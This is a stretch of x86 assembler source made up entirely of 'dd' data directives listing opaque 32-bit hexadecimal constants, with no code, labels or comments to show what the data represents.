dd 13607C20h, 0B489B22Eh, 59DFAA92h, 0CF449B03h, 0E280001h
dd 0B87D5F29h, 9A247EAFh, 7827D34Fh, 235E3C7Fh, 8501799Dh
dd 944BE953h, 0D7ADFAFCh, 0BC5FAA16h, 35E9BCF9h, 0BF410EEEh
dd 226FAC80h, 0DC1D6C3Fh, 4318C11Ch, 0E904D9F7h, 0B2476ABDh
dd 5E8F01F9h, 205D63D0h, 60B7CE3h, 7C5B6221h, 0BD550004h
dd 18D260A8h, 0E73E912h, 85870DFDh, 5177092Ch, 201AC237h
dd 25EA79F7h, 90F8F77h, 1F445F44h, 2A37E912h, 5EEF58A4h
dd 9301BF04h, 3C62140Ah, 6343D8DBh, 0F87B5E8Ch, 46C6802Ch
dd 0A29ABCAh, 1EAE9FBh, 4AC78190h, 0E5408E99h, 164F62F9h
dd 3121A8A9h, 296241DDh, 0D734591Dh, 7A02AB02h, 0D814F4F3h
dd 64029733h, 0C67D1012h, 0BE8E1CFFh, 0C0E06FEEh, 225FEB61h
dd 0B14E1CADh, 0AD0B04AAh, 0F62D84B3h, 20BD8DEAh, 28406F2Fh
dd 6BEB557h, 8016519Ah, 1D126DEBh, 0C0B4FD80h, 0F51B751h
dd 0DCE7DD6Bh, 0E2C5FE0Fh, 0F433E9ECh, 0D2F70360h, 0A410E2C1h
dd 6809D87Bh, 327F6FAEh, 657B7427h, 0F6DBC55h, 4E401859h
dd 0B8E9A2CDh, 0FE36C9D9h, 3C7E96Eh, 0D1F6CB86h, 0D926A730h
dd 0B4500008h, 1F6866DEh, 8B37E932h, 9B93B4Bh, 2F417560h
dd 9B466E5Bh, 1224C9Dh, 812FC3B9h, 2DCD2178h, 109F12ECh
dd 0A2E667EAh, 3F48215Ah, 171239CDh, 0A412418Eh, 0EFCC8401h
dd 2041EA31h, 0A53577FDh, 7F38A30h, 0D14CCE2Fh, 37B1E2E3h
dd 9FC7F9DFh, 0AD592668h, 0C701ECB8h, 0A60BACB2h, 0F17A4C05h
dd 7173030Ch, 0E3B13590h, 5A85D00Dh, 96B47EB7h, 48D01431h
dd 0A3659D07h, 1F89E22Ch, 2C4D4757h, 32D04258h, 25FBB800h
dd 0EB274A17h, 0F705E7D2h, 685EFC20h, 2D9C59B1h, 3F6F162h
dd 0BA94C888h, 6BD360F4h, 0EA7418C4h, 27417EA7h, 0E53A89D7h
dd 0D990A7ADh, 66BF86F6h, 71A22086h, 7E895F25h, 4ADA6082h
dd 99B47DC4h, 16B70720h, 87CD2AD4h, 0BA3388CCh, 0C08182A9h
dd 0F2E559F4h, 450AE854h, 0F581F992h, 653F1A83h, 9F69B9ECh
dd 564CE1E6h, 47CF31B9h, 568AD430h, 81B62B90h, 803109F3h
dd 69FA8012h, 2959281Ch, 0BA5203DFh, 70F83345h, 0A160E2F2h
dd 0B981CB5h, 3B3D0E1Ch, 8F1AE6A6h, 0A716F6A1h, 4E270ED8h
dd 0EB47D695h, 5B0043D6h, 0BA16545Fh, 0ABA016A4h, 1FA0A9E9h
dd 0FD0F0DC5h, 39E8463Ah, 0BCBA4BA2h, 68640CAEh, 6580BE1h
dd 0DBE9D031h, 3BF16463h, 0D9B92C65h, 6706524Ch, 0C40C039h
dd 9E7ED804h, 68A8092Eh, 9E40192Dh, 640178B9h, 0FDBD0D04h
dd 31C4D744h, 0D5E92ECDh, 5B668091h, 0C8FED8F6h, 88C13416h
dd 80B02CB8h, 0E7E69AEFh, 0B5519E00h, 0C0DDF619h, 0FE0213EDh
dd 0E56CC8CDh, 41E92A16h, 755B5FC2h, 286226D4h, 9EE77B2h
dd 920B1FB1h, 7CCEDF7Bh, 0D48B1ABDh, 8B471D28h, 4EC061AAh
dd 0D7516012h, 407546ACh, 0B6525902h, 0E0CE805Eh, 0B54A26F1h
dd 319002D1h, 0BA1CAE85h, 0A3B60577h, 4609717h, 45711917h
dd 0D84ACEB0h, 4BDE3CE8h, 1155B863h, 0FC3FC16Ah, 0FD5E2F3Bh
dd 0A9D78612h, 0ED237768h, 0EA856B91h, 6450DCB3h, 0F48880A8h
dd 48675A49h, 0C5257DFFh, 247DF30Ch, 6A36024Ch, 0DF7494h
dd 0D756AD94h, 98FF827Bh, 0B0D331DCh, 858D8A93h, 13FE2390h
dd 0CEB7AF5Fh, 6A7908DBh, 66E92E1Eh, 0DF087F64h, 0E380008Ah
dd 11B252AFh, 4939CAECh, 0DAF680FEh, 0E99FB151h, 0B4F74B36h
dd 1C624F5Ah, 0EBF58BFCh, 63FCB1FFh, 0DD687885h, 0AF31EF75h
dd 0E9017E9Fh, 0BAE72582h, 420DEB30h, 1942DF1Dh, 6003E8C9h
dd 598074A5h, 4AA7EE55h, 20BC8960h, 367FCC7h, 0AA7A563Eh
dd 5C5AC22Ah, 0BAA4CDE9h, 0FA1ACECh, 0A04270AFh, 594FA1BAh
dd 57613DBFh, 5613D557h, 775A0E2Eh, 0C702F978h, 9098B071h
dd 0CF5889B7h, 0F5290488h, 5EA8EA5Eh, 0C33B0192h, 3F04CB20h
dd 3A842D84h, 0BAB413BAh, 80EDF373h, 9D028010h, 0E9055279h
dd 40BBA5FEh, 0D57BAC40h, 5C90581Eh, 24D0F0Ah, 839DB56Ah
dd 3367D22Dh, 70AD9F7h, 7085A1BAh, 9C93EACAh, 5955303Eh
dd 0B1F1812Ah, 468D7A1Fh
dd 0CD8E648Ah, 3D2CD598h, 5265B4AEh, 0D1D2B58h, 58B07071h
dd 9D612CE9h, 40BF6E6h, 2A1DEE17h, 110F173Fh, 0A4F5EEE2h
dd 44ABEBC7h, 0EE4B909Fh, 5EDB664h, 410F1C93h, 1143B48h
dd 41EFE1CFh, 3F94E908h, 95EE509h, 0ECE25DB4h, 10433D40h
dd 2973D80Ah, 1A1CC4EBh, 75241F49h, 0F8239E0h, 0E975030Bh
dd 9833A935h, 0C0772E7Eh, 3754EFF7h, 0E0A208BDh, 84006BF6h
dd 56B5EB1Fh, 2EE12CE9h, 25689CBEh, 4264FC51h, 2EBA03B1h
dd 54A0FA0h, 89E31EEFh, 762550D2h, 0B08AAA59h, 9DED9140h
dd 36DCEEC2h, 0D11C09CBh, 0CD74BDAh, 0BFBF2E3Fh, 292E7F5Ah
dd 8910D4F8h, 0AD3CC05Ah, 0E34B6A1Ch, 22A80FAEh, 96CCFA57h
dd 57CF4060h, 0BA685502h, 423C7215h, 13F2D61Fh, 987F658h
dd 3075A768h, 24030110h, 2D5715FEh, 0E9F787F7h, 8DEE5984h
dd 0E4AC3B8Dh, 0E94B01C1h, 3825C96Dh, 0F63E6081h, 7E639526h
dd 0C95B9EC1h, 9C0EDADDh, 8C8925F8h, 68BE4540h, 0C2835681h
dd 4E83428Dh, 57C3FBFDh, 4A9D8876h, 0F25AE9h, 3248BD8Ah
dd 0BC905E11h, 0FCEB8995h, 0BC61F241h, 18D142ADh, 330B2152h
dd 232857Dh, 90C86B41h, 0B279B6FEh, 88EA9747h, 6286F37Dh
dd 0E45F7DE9h, 23730B52h, 0E874142Ch, 0F6C62E04h, 0EAF0C5AFh
dd 0B8D615E6h, 3613ED7h, 62E93EFFh, 0C1540C1Bh, 0D41C03E2h
dd 0E0237817h, 9B4053BCh, 0AC3AE15Bh, 77C2B2DFh, 0F52AD8C4h
dd 0CDDE140Bh, 1265EADCh, 0B57644Eh, 26606866h, 29EE07D2h
dd 0C49B1E58h, 0B9EACBB5h, 5F05922Eh, 48FEB1A3h, 5692C18h
dd 5F942926h, 666F72C0h, 34B70F53h, 0F7EFFA28h, 2FD04D79h
dd 0BC7BB204h, 0AB9219A8h, 0C680FDD0h, 0E506C3F0h, 2C27F788h
dd 55B03BFh, 4E84B0CEh, 0FAEB4E81h, 0C3297806h, 5F564F50h
dd 5893B994h, 64DA235Bh, 0F3B56D50h, 897AAE0Eh, 8D94802h
dd 10EB932h, 0C1BCEBDAh, 0B55C5889h, 378709EBh, 0E9D842EDh
dd 0BD133D20h, 634AC876h, 0B44BAE02h, 0C0D7700Ah, 99CF8107h
dd 7313FB68h, 85286E9h, 0F61778EEh, 0C0F74B5Ah, 0B9C5F24h
dd 0FF300250h, 0D076643Ah, 38355800h, 503C6203h, 504B945Dh
dd 68175756h, 30E325B9h, 813C2A00h, 0A32DBF1Ah, 89533325h
dd 99F59682h, 3E909A6h, 52555B26h, 28381706h, 13F15F31h
dd 0F6108DE9h, 0B2B1F94h, 303175E7h, 2FC68B3h, 875D13B9h
dd 80F77E6Bh, 393F2144h, 224DF0E9h, 5D80028h, 6BDE5BBBh
dd 35FF0E2Dh, 0BAB22091h, 68794B22h, 0EA06BB86h, 0FA6B5444h
dd 266314F8h, 0F909E435h, 2A8E6266h, 0F4A3788Bh, 0A6DE082Ch
dd 4B2F797Ch, 0D9E7BB01h, 883B5496h, 42B7738Eh, 285957BFh
dd 5D71CA52h, 5B0C29E4h, 0C70216Ah, 54E1689h, 0C7A54A77h
dd 5F0C3408h, 7B9A1D14h, 68FD7E02h, 7BFE43DDh, 0FBE957C0h
dd 14579762h, 8202BCEFh, 54614FEBh, 68F3C1C0h, 0E6046725h
dd 3DF818BEh, 0A9EE7AE0h, 5B20DC48h, 7FEB7AD2h, 0A252B7Ah
dd 7979C88Ah, 278C2676h, 810245Fh, 4016D770h, 136449A0h
dd 4311816h, 13D67FFh, 0C208A134h, 4130C830h, 0B15ACFBAh
dd 9C7E880h, 294D13C1h, 87210CAh, 0D6895601h, 2B2D38E9h
dd 5C051DCEh, 0D335868h, 0F00A3E7Eh, 7B092C77h, 8453F10Ch
dd 31065DE4h, 669D9CC1h, 0B44DB952h, 0EC5F840Dh, 39EF4B67h
dd 2EF2C7Dh, 1F7F0D86h, 0FBCC4B01h, 23891209h, 53DFA49Bh
dd 72DCBB07h, 93D23DA1h, 97507230h, 0B584C829h, 71A7AABCh
dd 49E26227h, 50B3A57Dh, 51E95C20h, 621BA0ACh, 3CD22537h
dd 0D126B7D6h, 19948A39h, 0C31CE736h, 174B5345h, 500135B8h
dd 6661DB68h, 0C7512014h, 6B270C74h, 26C25D1Ch, 50E1080Fh
dd 835C7FE9h, 3F89F36Bh, 6831D276h, 0C01657A7h, 1B7C68B0h
dd 72C652DBh, 2C0F7AEEh, 12D0F289h, 82E7BFFAh, 2FE96940h
dd 3FE81CDCh, 0DB9FE0B2h, 58500846h, 956E77A5h, 3F4AA8FEh
dd 0C0E43EB8h, 0AC71B7AFh, 4805097h, 4951E581h, 0C57B8072h
dd 92244F31h, 3E045ED9h, 40C1D30Ah, 0FA045616h, 2B19AEE8h
dd 805E9015h, 3DC68173h, 0B5B1DCBh, 207A9A2Dh, 0F028AC82h
dd 5D098B08h, 0E957CBBEh, 9E661889h, 401AF113h, 3DBE56F0h
dd 5924BB35h, 530DBE31h, 4989C883h, 3ED462A6h, 976D7AC9h
dd 848303FDh, 0BE234AEEh, 84A58CCDh, 2085CE5Dh, 0BBA068C5h
dd 513BB3E6h, 0F5ED2D80h, 0E3E92182h, 205674C9h, 22092B5Dh
dd 40892010h, 954E2953h, 0EDE39468h, 7B020C99h, 50EDC07h
dd 3C98C006h, 3A40D603h, 4D9F90F0h, 0FB58C740h, 0DC7A252Fh
dd 2E5A0881h, 0DF3090E6h, 3C7DBBFBh, 0F70EA309h, 36F07D3h
dd 3892AFF5h, 0CA7855BDh, 0B092F795h, 25CBE3A8h, 55173071h
dd 2B538E09h, 8053010Dh, 0B82FDBC2h, 0E96BA0DAh, 58E1A8F2h
dd 6FDC629h, 8A5A12C7h, 698860F0h, 78580854h, 0DF6B27B9h
dd 98A29A46h, 829993DDh, 0AFC0B14h, 174DF62h, 66027768h
dd 538F07DAh, 8CD26B6Dh, 0E90DA13Eh, 349346C7h, 0A95EFE05h
dd 723DD08Bh, 57042F3Fh, 0B0B819D7h, 0DD76A1AFh, 0FCE133Ch
dd 110249BDh, 4A1BB107h, 1521C975h, 20D813A5h, 6B49E92Dh
dd 314B176h, 94E1F37Eh, 0DE6885F1h, 4B20B3EEh, 0BBCFC4EEh
dd 0A1969EE2h, 6DAF3EA0h, 5C0D9294h, 7EE281E9h, 0BC5F58E9h
dd 89E2A5FDh, 2D3F567h, 3786A310h, 72B73413h, 5DF9042Ch
dd 0AAC1010Ah, 0BEE5A3E8h, 0AB4F78F7h, 532901CAh, 0DD20384Dh
dd 0EAB1FD97h, 2AE8C1D2h, 494D53C8h, 0F83B5F97h, 2C75F596h
dd 8240FE11h, 48FDECACh, 0D9813A03h, 61121F67h, 133D003h
dd 0B503265Ah, 0E6379236h, 0A07E3030h, 6FB5C124h, 9F4FA0Fh
dd 0A998A5CBh, 23FB7B9h, 507E080h, 17496A1Fh, 74C32927h
dd 0C5EBC0DDh, 487EFA09h, 0D65340DFh, 61A19797h, 3AECDB79h
dd 0EEC3C1C1h, 0F0A516DCh, 0A798D601h, 68550880h, 195E6127h
dd 8A85962h, 30D54A0Dh, 0BBC6826h, 0BF1C8593h, 85ED6372h
dd 5482AF93h, 84215720h, 97190668h, 0FF09B708h, 53285754h
dd 0CCF069C6h, 381E7EFDh, 4BBA0C74h, 6EDC2862h, 0E90EEF98h
dd 82D4978Eh, 90F272AFh, 49C6401Dh, 0A543B4A0h, 137AE53Eh
dd 0E5CA230Eh, 0D982AF4Eh, 75786A2Fh, 0E9D88CD4h, 2733BA90h
dd 0F8990C68h, 0EBA1FBBEh, 11E3F470h, 0B3021F9Bh, 40D4FA7Eh
dd 0D067C5DAh, 11209868h, 5E5C113h, 1F03AA08h, 7C048959h
dd 0C2D955h, 0B94BF681h, 4BB0D076h, 69B23A4Fh, 24406882h
dd 182849ACh, 92114D9Dh, 1D118599h, 4218CBB2h, 36B0C951h
dd 82509168h, 0DC74E3C2h, 6DEBC784h, 0F760D887h, 613D3020h
dd 707D1801h, 0D28EFA06h, 0F9CF9AA2h, 60090841h, 12C6EF9h
dd 820FDFDh, 0EE0B5F7Dh, 0FD5DACE9h, 0EA5F911Ah, 885ADF0Ch
dd 46800C4Eh, 2D77B4B9h, 7CDE6E3Eh, 74F40894h, 3C1A3012h
dd 9A0415FCh, 0AE68C4F1h, 0D9894404h, 5A5BD782h, 2ECE0721h
dd 7E5A149Dh, 7ACFFFF2h, 4D685C05h, 54AB324Ch, 95F966Ah
dd 5A6F57D2h, 1D16EC0Dh, 2E6FB530h, 28E373A6h, 198F25BDh
dd 0D898B4D8h, 684A3A0Fh, 2C13B767h, 0E9CB78FAh, 43A1554Eh
dd 12D7DA7Bh, 0F9BDD168h, 0A30031Ah, 88F85BDFh, 672CD10Ch
dd 2B0F72Fh, 489748F7h, 2732F6BDh, 0B3F05E9Bh, 4615DA25h
dd 0D6F32DF2h, 0B062E8DEh, 7F487844h, 5E932683h, 26FEA893h
dd 60BB200Ch, 2E5C08Eh, 2250E918h, 985AD18Bh, 584F73A3h
dd 97F3501h, 5F4B2711h
dd 8A0D5D4h, 8B473B5h, 35005684h, 0C1B464C8h, 800BB031h
dd 0E57EE1B0h, 0B6D70920h, 39BE4274h, 15D64C75h, 9708D368h
dd 35D1E90Eh, 8AE6FB12h, 96BB327Ch, 0EC604B36h, 0EF4B4073h
dd 1746EF8h, 874FE243h, 0B0D7F7F9h, 3828B208h, 0C4E6033h
dd 79F5C68h, 36BF30C3h, 0F1600258h, 52397418h, 7AB47057h
dd 0B24405F3h, 0C1DD8923h, 7E661C82h, 99681B3h, 75E02EB0h
dd 0EB0F8058h, 66F328E0h, 4F224F3Ch, 4054F964h, 184110C4h
dd 0ED79E113h, 27E9CEEEh, 0B58C665Ah, 0F727F297h, 0A5F61B91h
dd 0B516F7B2h, 0DBAA5B4Bh, 0D3E716B5h, 0B54135A2h, 24F60960h
dd 20FF4142h, 0B736C002h, 0E99D190Eh, 0A03CA52Dh, 0A04AC09Ch
dd 70BD0123h, 31394546h, 46677BCDh, 0AE160BD4h, 95AAD1C5h
dd 4CE81F0h, 0D6F239A1h, 2284D41Ch, 16EF5326h, 4C9479Bh
dd 0D6B2E075h, 4A5EB450h, 924830F8h, 45921E6Bh, 0A35FFE63h
dd 0B38A74FBh, 0E7B90331h, 1F231358h, 82A71DE0h, 26E968DCh
dd 54690A5Eh, 52FEA7DAh, 3031D827h, 0F2B9E116h, 0B4836CFh
dd 8DE05FACh, 0E4BC09CCh, 70D7314Eh, 522B0123h, 0A2E95ED8h
dd 0C2398786h, 0A0248F07h, 9888E0C4h, 29589501h, 0F02CCB4h
dd 0D53F0684h, 0BD9ED318h, 3FBEE7BDh, 0F32AB016h, 0C00690A5h
dd 7406A6F5h, 2BE2A045h, 22660E3Fh, 5DD649E9h, 27C08B51h
dd 8AA985Dh, 0B29F2FF6h, 3830C84h, 184C8D68h, 5F51327Dh
dd 1618B5C5h, 0C26A3BA9h, 18F8060Dh, 0FDDA01E9h, 5354C50Eh
dd 0DCAF1EAFh, 0A4854781h, 0E409134Eh, 25AB56B8h, 8368C5F5h
dd 3F037DBDh, 13B9CFF0h, 3DBCEE5Ah, 1228172Ch, 0B86A409h
dd 0F856DC40h, 162EFE9Fh, 1465E66h, 3F4863D7h, 4F127ED7h
dd 0B2A2FAh, 6D60032Dh, 9C97E93Dh, 0FAF9926Eh, 48D5A32Ch
dd 56A261B5h, 0F717295Ch, 0C0BD2709h, 246D68B8h, 97C377Ch
dd 0BD104AF9h, 0DDF24E05h, 0C6B2C895h, 0A7682651h, 6397BE8Dh
dd 275BFD37h, 7CCAF8EAh, 0B5BC2F5Dh, 4118E9E6h, 654C1435h
dd 5FA4A461h, 76D6CA8Ah, 15EEE4Ch, 1205E31Bh, 0B6A3E7Ch
dd 0B9455C54h, 9C9B08h, 0CE6A21BAh, 77F6422Dh, 80204961h
dd 91620BC3h, 82274F7Ch, 0E8775A01h, 0B51C6D05h, 0E37F2CCAh
dd 7ED9D258h, 9C510E81h, 8A0CEAE5h, 6C5F7BB7h, 0CE556E09h
dd 422B25F3h, 975DC6D5h, 9C680880h, 3D4A9B01h, 0FE810AC7h
dd 163AC264h, 0EB12135Bh, 0DA0D3A53h, 0D604A9F4h, 4C3A6BEh
dd 0C082B151h, 5E0651C6h, 8718C202h, 3F175609h, 0A0DE8325h
dd 0B7656850h, 0BC8BF1h, 3A530D1Ch, 0CF4706E9h, 0DC64581Ah
dd 199AF343h, 5F5CA617h, 2513463Dh, 0C6CEB83Bh, 7102BEFh
dd 68364C05h, 63DF575Ah, 7CFA7F44h, 594E2BF0h, 6C683302h
dd 821F711Ah, 2FB215ACh, 3EC930E1h, 4EAD356h, 16E1BF18h
dd 1120862Dh, 0D2171488h, 9235E611h, 1266AEA7h, 8B575F0Ch
dd 34852681h, 9EA06813h, 65BA5C44h, 0E5F815DEh, 0AA03FF5Bh
dd 978D69C3h, 5532A3D2h, 84AD754Fh, 0A1A0EDDEh, 0FC20E347h
dd 3B8F002h, 199CF648h, 4B2CFFE9h, 16279A5Ch, 985F9564h
dd 0C5B6F660h, 0C003E395h, 0D52C4813h, 29BA25h, 7728C227h
dd 0E98D15D2h, 0EC4EBC8Eh, 0C74F10CFh, 2064BE25h, 0A435530h
dd 1EB65266h, 0D7F1883Bh, 0BE0952A6h, 0C10E159Bh, 0D05A0AE9h
dd 5A277BF9h, 2A9E2585h, 14EA6C5Fh, 9D1187E9h, 93A4B5A7h
dd 1BB1AD8Ah, 882750D4h, 56BD592Ah, 0B1D585Bh, 5F5B2AC9h
dd 4BEC9B8Fh, 0F40AE55Dh, 9F3DD009h, 0E072BD02h, 28DEC07Dh
dd 0ED72822h, 7C89B5F7h, 4758A1DCh, 2CB83C9h, 40A8E6BEh
dd 5C9D59CEh, 0E7D5CB96h, 0B8C625B3h, 0F89D909Ah, 0CDC95E46h
dd 5AFA4141h, 0B2A88253h, 6008972Ah, 2C793A81h, 3D14899h
dd 1D806ED6h, 0DFB6C7E0h, 7C8860E9h, 2D82EB59h, 45360FD9h
dd 83B40FC2h, 0F70CB546h, 11255C40h, 33405877h, 0FB4AD7F7h
dd 3E4620C9h, 3105CFBDh, 0FE414C59h, 0D9BF9013h, 0C727604Ch
dd 6BC66D13h, 0E9E4D1EFh, 899D65E5h, 5C4F42DEh, 28D862ECh
dd 980B9657h, 5D630CDAh, 8B0C70FDh, 18305B0Fh, 8E92401h
dd 19BBB3E0h, 70C71EA6h, 0B9D489D8h, 90D946ABh, 7B6027E1h
dd 45CFCBDEh, 69F962E4h, 8E5C007h, 15893FD0h, 0AD3ED7F8h
dd 4EA55D68h, 0BB0AE38Ah, 27906C4Ch, 4345397Eh, 0F8A86FC5h
dd 0D54CA24Eh, 0F0599ED3h, 522EEB24h, 6C9BA087h, 0D83000F9h
dd 0E886F2FEh, 0FB9F4B2Ch, 4EB14831h, 9807BA3Eh, 0F2332AE2h
dd 9D21B7C2h, 413F61E9h, 55CFF621h, 0DA70A877h, 5B4AD620h
dd 0A12D1431h, 0B205414Fh, 61D60FD9h, 9FF82E33h, 2CFCA061h
dd 488070E4h, 0B07E6B41h, 0D19D21CAh, 6AB0E22Ah, 30FA05E9h
dd 3509F636h, 0F75F45E5h, 0D569C253h, 7EE99A51h, 4D8353C9h
dd 0DFBD6402h, 0FD3D1B3Bh, 536BE883h, 47F5FD02h, 5E194285h
dd 0C8890679h, 57B07759h, 0CB535067h, 8DEB06BFh, 9B7F0951h
dd 3404B0BBh, 6817A05Fh, 4E6EAA38h, 5E639BEh, 84B3BB94h
dd 0DDFDE9C2h, 4F0B44D2h, 80171210h, 0FE44E8F7h, 4B209751h
dd 0C41BE2E7h, 204F2E30h, 0C57C135Dh, 0FB540EB0h, 406F7944h
dd 0FF5A10D2h, 0D649B751h, 1FEFAF2h, 56008969h, 0E07C2FB4h
dd 51A273E5h, 1BBB0478h, 0D15D431Dh, 0E0503E44h, 0F33E8922h
dd 233585Eh, 3A8D2555h, 2D467021h, 435C450Dh, 0F2D96252h
dd 20060B4Bh, 0A8850C39h, 0EFCEF4B3h, 89A0CDBAh, 62E73158h
dd 40FA3F0Dh, 0F5D94801h, 0B59352Dh, 91BC4945h, 0E9A0BB5Ch
dd 1AB7C579h, 3389D77Dh, 0F702C271h, 0D77068F1h, 5152606Eh
dd 36DD8527h, 5DCBA4A9h, 687003D0h, 7EB73370h, 7AE9C17Dh
dd 0F5317B27h, 5A29E21Dh, 806853C2h, 7A23F477h, 5648BB96h
dd 125400E2h, 0D5F76266h, 0BCE9394Dh, 939B5C5Ah, 1E2CAB0Bh
dd 554029E9h, 53579EF6h, 3C1AE1BEh, 748CE11Ch, 6EC4796Ch
dd 56F1413h, 591E6642h, 3E19D0BFh, 325F02F2h, 37FC6646h
dd 2FCD5293h, 32E6BE93h, 0DFC75F25h, 580A53A2h, 62379D68h
dd 321D863h, 295DBD12h, 75D22701h, 80013176h, 0CA3051F1h
dd 902E02E9h, 0F461BD62h, 8697A37Bh, 988089B8h, 0BDAE7020h
dd 6BBF3819h, 0BAF9F5E5h, 1220D935h, 5004B60Ch, 0B86220E9h
dd 0E1D7C677h, 8A2F5C9Dh, 9252739h, 521676ADh, 1607A55h
dd 7477DC2h, 52E04CE9h, 0CDF95F17h, 9490E958h, 32F24C9h
dd 7B3A78E7h, 0B535C08Ch, 95089727h, 2FFCEEE9h, 7D2219D8h
dd 639A2A06h, 328B816Fh, 0DBBD00D6h, 434AD416h, 0AE58F2B8h
dd 2E4F9904h, 0CF2CFA37h, 78583A42h, 0E9C50982h, 2C481D11h
dd 8D2C33D3h, 0A4163035h, 78E3F784h, 801FB102h, 0E08463C1h
dd 0E1C2AABDh, 53136088h, 0BAA879B3h, 0F31E2502h, 0F288C47Fh
dd 0A7FAB7D2h, 7D8EF205h, 51C229D8h, 70495D5Ah, 5FFC40Eh
dd 1BACC1B5h, 0F8368C2Ah, 6DD8481Fh, 0F7A5455Fh, 0FF972594h
dd 5E3AA90h, 0DDEB24D7h, 0F28764E5h, 4E871040h, 76C8FBEBh
dd 86EA5A29h, 68551A2Bh, 4423350Ch, 0C123C3F0h, 62F03FBh
dd 25D0F402h, 0C281215Fh, 0C07ABA4Ch, 0DCA0FD19h, 92E9E608h
dd 0C2830972h, 186A4287h, 0A35FBF00h, 76310D24h, 93C7BDFAh
dd 0D519E905h, 4FB8849h, 82B37555h, 372ED713h, 0EBD4854Bh
dd 0F166A809h, 0BA68E2E3h, 0D9270F7Ah, 70E3DC36h, 555E5854h
dd 0CE0E58F6h, 13561B57h, 3084BFDAh, 0E149ECEFh, 0F9805FE9h
dd 48643305h, 0A35B6821h
dd 0B902FCA3h, 18A6588Dh, 680510D6h, 105E15B5h, 0F7E90671h
dd 0C1D512CBh, 8E02AEE2h, 62CFAAEAh, 0C6895D6Ah, 6003D97Dh
dd 0A233F1BBh, 0A0CA0550h, 0D0833B3Dh, 4217CAD6h, 34FB1D76h
dd 8791AEB5h, 0A9D4C7FBh, 0A27620E9h, 0DF735176h, 0F653CEBFh
dd 440B5E4Dh, 0A83497C4h, 76A9D62Dh, 12D53125h, 0DF177D0Fh
dd 6424B220h, 0DFC9C4D1h, 0D604B950h, 5B474667h, 2E4C41BAh
dd 0F9B8B998h, 7DC6FADFh, 6D728FFDh, 22A8B11h, 5C15FD02h
dd 715D7A4Bh, 43A6262h, 35CF457Fh, 2E2DFFCCh, 7DB39520h
dd 48320071h, 0A07AED2Dh, 0F80E0D6Fh, 411B0510h, 326D65CAh
dd 373622DCh, 93184707h, 4C04AAD5h, 782C4023h, 40B4ACBFh
dd 87545808h, 0D534E958h, 0C5FF9B06h, 0FFA31294h, 138063C9h
dd 2045B951h, 815C1F6Dh, 142B0B4Fh, 92F726Ch, 48693512h
dd 1FC4958h, 0D5C9FC2Dh, 280E4302h, 56A81177h, 8247DEE4h
dd 0EEF317A0h, 74AC69Ah, 0E92B42ABh, 407BADC8h, 3A2E90EFh
dd 0E2C544D4h, 0C6EA18FBh, 1D74F217h, 0BD76F369h, 551BDB84h
dd 0BE13FE1Dh, 9389E2AEh, 54141BADh, 0E407865Dh, 0DF71D82Fh
dd 0AC9A4F29h, 26CA4C77h, 8B0E42CBh, 325F5D96h, 267880AEh
dd 2550F45h, 219ACB81h, 0D5D662F6h, 2238471Eh, 5F749F88h
dd 6D804264h, 0E54A23C9h, 5731CC80h, 0AE93754h, 0C2B034F7h
dd 0A6C38CB9h, 90AF4FB7h, 5964E19Ah, 425A2E0Ch, 18A14E4Ah
dd 6671E333h, 7A2560D7h, 9C5E250h, 6B68F796h, 885FE9F2h
dd 3DB81DC0h, 261E0139h, 100D4D2Dh, 17B56C6Ch, 32ADBCD8h
dd 0D25FADEh, 3D84D3A0h, 0EFB871BCh, 27ACE520h, 8D7883BEh
dd 6E7A296Ch, 0C6E9185Eh, 68E1C121h, 0AE19B726h, 82FF5264h
dd 0D175411Eh, 3F6E031Ah, 7CE23AE2h, 0E90C0232h, 2546F6EFh
dd 2744A57h, 60CEFBF2h, 2555615Bh, 88DF1A3Fh, 5E09086Bh
dd 16FBD429h, 7A9AE1B4h, 55CFCDFCh, 0FF1B79A5h, 3868098Ch
dd 0EF5E6F81h, 0BD3A163Dh, 0ECE9834Dh, 5C5E311Eh, 2E89B26Ch
dd 8B3F788Dh, 0DB6D1274h, 683D70AFh, 3EE162ACh, 6FE6A0E8h
dd 28356816h, 6E0269EAh, 0FE92CEE2h, 0F0C457B3h, 3FE7FB1Fh
dd 6825C420h, 5E175AF7h, 3705FD7h, 7DF45B05h, 8B5898DAh
dd 0C25359B7h, 987F2EE6h, 5DB832h, 354D1D5Bh, 321272A3h
dd 1D6169Dh, 630C1D7Eh, 18333E9h, 85DD62B3h, 0ED19C47Eh
dd 0A50D9FF6h, 0F22A863Fh, 0B38C9F0Fh, 0C9D6355Bh, 40045AE5h
dd 0BD55F0BEh, 0BD0DC93Dh, 1735182Ch, 3D81472Ch, 767E25C7h
dd 4FF71F7Ah, 0C05092E6h, 0B668560Ch, 65207102h, 92025CE9h
dd 0B0157A82h, 79BD69B5h, 51A9D482h, 529277F3h, 0CD291504h
dd 6AEF8706h, 834C5802h, 5DFA017Bh, 0BACEB814h, 0BD32B8E6h
dd 0ED3F1A65h, 0F9F0142Dh, 0B4F22928h, 0A66C700h, 560C3549h
dd 140D4FACh, 6E2ACE3Fh, 0ED8100EBh, 0F6A4DA5h, 7598D529h
dd 0CC050883h, 2817398Ah, 363072B9h, 3202C6C3h, 481B0F3Bh
dd 0EA5A0FFDh, 0DFE68048h, 907BC424h, 20440BCEh, 0F6E36384h
dd 628E940Ch, 0FF8CF4EFh, 0BAC34D92h, 32B2C187h, 11A0757Ah
dd 3E9E7255h, 16280D01h, 0E8830C82h, 4284992Eh, 80002DBAh
dd 9F281DEFh, 92EB5CD8h, 278AAD06h, 5BF9880Fh, 327CE1E7h
dd 53F85CC9h, 7BC90E4h, 0CEFBCB3Ch, 292048EFh, 0D5278119h
dd 0AC580884h, 0EA0DB226h, 0C2D440CBh, 6E4E131Fh, 0E1752352h
dd 295DB498h, 0C415446h, 9A8B616Bh, 0C1217F0Dh, 9C7FCF29h
dd 175A6EB6h, 9DE91060h, 0B2B08045h, 0D4FB514Bh, 0FD9DEA99h
dd 0BB5C7CF4h, 33D427B3h, 0F7E590E9h, 5D17248Ch, 11C7010Eh
dd 2EA7BB92h, 98FEA9C5h, 0F748CD77h, 6B4DDD3h, 0E98445A9h
dd 2916BBF6h, 12DF8BEEh, 93E40FBDh, 1E46F4E1h, 0C6C18127h
dd 0C557967h, 192D9BF6h, 38A35C8Fh, 6980D1A5h, 7A1B3D63h
dd 76A83CC2h, 0F28082FCh, 0B2E7553Fh, 0F8BBC427h, 0C9EDC0E0h
dd 188A0E25h, 473A99B8h, 4124935Ah, 0B61B7E00h, 4F09AE8Fh
dd 0BC892CEh, 0D02F5356h, 0F05AA04Ah, 222FE92Ch, 0B550FE6h
